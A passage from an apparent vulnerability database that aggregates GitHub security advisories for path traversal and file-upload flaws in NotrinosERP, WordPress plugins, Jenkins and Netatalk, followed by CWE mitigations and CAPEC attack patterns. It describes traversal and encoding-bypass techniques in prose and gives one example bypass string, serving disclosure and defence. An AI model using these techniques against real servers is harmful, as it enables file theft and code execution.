Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **\u0026lt;Kasper Hong / Kasper Builds\u0026gt;**.",
"id": "GHSA-qv4m-m73m-8hj7",
"modified": "2026-07-10T19:34:03Z",
"published": "2026-07-10T19:34:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
},
{
"type": "PACKAGE",
"url": "https://github.com/notrinos/NotrinosERP"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)"
}
GHSA-QV53-7X5C-6FR4
Vulnerability from github – Published: 2025-07-02 12:32 – Updated: 2025-07-02 12:32The Vikinger theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the vikinger_delete_activity_media_ajax() function in all versions up to, and including, 1.9.32. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Note: Requires Vikinger Media plugin to be installed and active.
{
"affected": [],
"aliases": [
"CVE-2025-4946"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-02T10:15:23Z",
"severity": "HIGH"
},
"details": "The Vikinger theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the vikinger_delete_activity_media_ajax() function in all versions up to, and including, 1.9.32. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Note: Requires Vikinger Media plugin to be installed and active.",
"id": "GHSA-qv53-7x5c-6fr4",
"modified": "2025-07-02T12:32:12Z",
"published": "2025-07-02T12:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4946"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/vikinger-buddypress-and-gamipress-social-community/28612259"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/22d8f1db-1b7e-4b68-a381-01f51dd34b2b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QV5Q-QMV4-27RM
Vulnerability from github – Published: 2025-12-10 06:30 – Updated: 2025-12-10 06:30The Simple Download Counter plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.2.2. This is due to insufficient path validation in the simple_download_counter_parse_path() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which may contain sensitive information such as database credentials (wp-config.php) or system files. Please note that the vendor opted to continue to allow remote file downloads from arbitrary locations on the server, however, has disabled this functionality on multi-sites and provided a warning to site owners in the readme.txt when they install the plugin. While not an optimal patch, we have considered this sufficient and recommend users proceed to use the plugin with caution.
{
"affected": [],
"aliases": [
"CVE-2025-13677"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T04:15:57Z",
"severity": "MODERATE"
},
"details": "The Simple Download Counter plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.2.2. This is due to insufficient path validation in the `simple_download_counter_parse_path()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which may contain sensitive information such as database credentials (wp-config.php) or system files. Please note that the vendor opted to continue to allow remote file downloads from arbitrary locations on the server, however, has disabled this functionality on multi-sites and provided a warning to site owners in the readme.txt when they install the plugin. While not an optimal patch, we have considered this sufficient and recommend users proceed to use the plugin with caution.",
"id": "GHSA-qv5q-qmv4-27rm",
"modified": "2025-12-10T06:30:23Z",
"published": "2025-12-10T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13677"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simple-download-counter/tags/2.2.2/inc/functions-admin.php#L566"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simple-download-counter/trunk/inc/functions-admin.php#L566"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3409876%40simple-download-counter\u0026new=3409876%40simple-download-counter\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b82a0f71-29d7-469a-8c69-5ab68d599cb9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QV6Q-4JWX-7J5C
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2023-10-27 14:06Jenkins Storable Configs Plugin 1.0 and earlier does not restrict the user-specified file name, allowing attackers with Job/Configure permission to replace any other '.xml' file on the Jenkins controller with a job config.xml file's content.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jvnet.hudson.plugins:storable-configs-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2278"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-28T22:50:36Z",
"nvd_published_at": "2020-09-16T14:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins Storable Configs Plugin 1.0 and earlier does not restrict the user-specified file name, allowing attackers with Job/Configure permission to replace any other \u0027.xml\u0027 file on the Jenkins controller with a job config.xml file\u0027s content.",
"id": "GHSA-qv6q-4jwx-7j5c",
"modified": "2023-10-27T14:06:09Z",
"published": "2022-05-24T17:28:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2278"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/storable-configs-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2020-09-16/#SECURITY-1968%20(2)"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/09/16/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary file write vulnerability in Jenkins Storable Configs Plugin"
}
GHSA-QV8R-66P7-3Q68
Vulnerability from github – Published: 2026-05-21 09:32 – Updated: 2026-05-21 09:32Incomplete sanitization of extended attribute (EA) path components in Netatalk 2.1.0 through 4.4.2 allows a remote authenticated attacker to write to files outside the intended metadata namespace via crafted EA names.
{
"affected": [],
"aliases": [
"CVE-2026-44068"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-21T08:16:22Z",
"severity": "HIGH"
},
"details": "Incomplete sanitization of extended attribute (EA) path components in Netatalk 2.1.0 through 4.4.2 allows a remote authenticated attacker to write to files outside the intended metadata namespace via crafted EA names.",
"id": "GHSA-qv8r-66p7-3q68",
"modified": "2026-05-21T09:32:10Z",
"published": "2026-05-21T09:32:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44068"
},
{
"type": "WEB",
"url": "https://netatalk.io/security/CVE-2026-44068"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.